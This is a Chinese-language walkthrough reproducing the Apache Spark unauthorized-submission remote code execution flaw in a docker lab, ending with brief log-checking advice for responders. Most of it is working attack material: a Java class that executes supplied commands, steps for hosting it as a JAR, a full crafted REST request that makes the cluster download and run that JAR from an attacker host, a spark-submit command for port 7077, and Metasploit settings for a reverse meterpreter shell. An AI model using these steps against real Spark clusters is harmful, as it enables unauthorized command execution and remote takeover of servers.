目录
概述
Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎。由于Apache Spark的认证机制存在缺陷,导致共享密钥认证失效。攻击者利用该漏洞,可在未授权的情况下,远程发送精心构造的过程调用指令,启动Spark集群上的应用程序资源,获得目标服务器的权限,实现远程代码执行。
影响版本
Apache Spark <= 2.4.5
全版本,但利用需要目标 开放REST API 6066 端口 或者 开放submissions网关 7077 端口。
漏洞复现
1、环境搭建
漏洞环境:docker + vulhub
环境启动后,会自动启用三个端口:8080,8081,6066,7077
他们分别为
(1)master的管理页面:http://your-ip:8080
(2)slave的管理页面:http://your-ip:8081
(3)stadalone模式下,master将在6066端口启动一个http服务器
(4)7077,是在6066端口不能访问的情况下,或做了权限控制,可以利用master的主端口来提交应用。
2、复现思路
未授权的用户可以向管理节点提交一个应用,这个应用实际上是恶意代码。提交方法有两种。
(1)利用REST API
(2)利用submissions网关(集成在7077端口中)
3、复现
docker部署环境时将以 standalone 模式启动一个 Apache Spark 集群,集群里有一个 master 与一个 slave,访问 http://your-ip:8080 即可看到 master 的管理页面,访问 http://your-ip:8081 即可看到 slave 的管理页面。
提交的应用可以是java,可以是python,将其编译成JAR,放在任意一个HTTP 或FTP上,如:http://ip/Exploit.jar
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Exploit {
public static void main(String[] args) throws Exception {
String[] cmds = args[0].split(",");
for (String cmd : cmds) {
System.out.println(cmd);
System.out.println(executeCommand(cmd.trim()));
System.out.println("==============================================");
}
}
private static String executeCommand(String command) {
StringBuilder output = new StringBuilder();
try {
Process p = Runtime.getRuntime().exec(command);
p.waitFor();
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
} catch (Exception e) {
e.printStackTrace();
}
return output.toString();
}
}
将其编译成“Exploit.jar”,并发布在http上或ftp上,这里发布在HTTP上
jar -cvf Exploit.jar Exploit.java //打包成jar包
python -m http.server 8000 //发布http
(1)REST API方式提交
standalone模式(Spark集群的三种运行模式之一)下,master将在6066端口启动一个HTTP服务器,我们向这个端口提交REST格式的API。访问并抓包
POST /v1/submissions/create HTTP/1.1
Host: 192.168.52.131:6066
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json
Connection: close
Content-Length: 631
{
"action": "CreateSubmissionRequest",
"clientSparkVersion": "2.3.1",
"appArgs": [
"whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
],
"appResource": "http://192.168.52.1:8000/Exploit.jar",
"environmentVariables": {
"SPARK_ENV_LOADED": "1"
},
"mainClass": "Exploit",
"sparkProperties": {
"spark.jars": "http://192.168.52.1:8000/Exploit.jar",
"spark.driver.supervise": "false",
"spark.app.name": "Exploit",
"spark.eventLog.enabled": "true",
"spark.submit.deployMode": "cluster",
"spark.master": "spark://192.168.52.131:6066"
}
}
# 其中,spark.jars即是编译好的应用,mainClass是待运行的类,appArgs是传给应用的参数。
拦截抓包改包,会得到返回值:submissionId,然后访问http://192.168.52.131:8081/logPage/?driverId=driver-20220318161339-0002&logType=stdout,即可查看执行结果:
注:这里上传是通过浏览器插件修改后抓包重放的,直接复制内容重放数据包会出错)
注意:提交应用是在master中,查看结果是在具体执行这个应用的slave里(默认8081端口)。实战中,由于slave可能有多个。如果6066端口不能访问,或做了权限控制,我们可以向Spark standalone集群的master节点来提交应用,默认端口是7077,具体方法是利用Apache Spark自带的脚本bin/spark-submit
(2)利用Submissions网关
如果6066端口不能访问,或做了权限控制,我们可以利用master的主端口7077,来提交应用。
方法是利用Apache Spark自带的脚本bin/spark-submit:
bin/spark-submit --master spark://192.168.52.131:7077 --deploy-mode cluster --class Exploit https://192.168.52.1/Exploit.jar id
如果你指定的master参数是rest服务器,这个脚本会先尝试使用rest api来提交应用;如果发现不是rest服务器,则会降级到使用submission gateway来提交应用
或者使用如下方法:
msf5> use exploit/linux/http/spark_unauth_rce
msf5> set payload java/meterpreter/reverse_tcp
msf5> set rhost 被攻击ip
msf5> set rport 6066
msf5> set lhost 攻击ip
msf5> set lport 4444
msf5> set srvhost 攻击ip
msf5> set srvport 8080
msf5> exploit
如何应急排查
登录slave机器的8081端口页面,可以看到执行应用列表
查看网站的web日志,比如apache的用户访问日志,在日志中筛选”/v1/submissions/create”,以及搜索7071、8081、6066端口的访问情况,笔者是vulhub环境,故这里就不贴图了。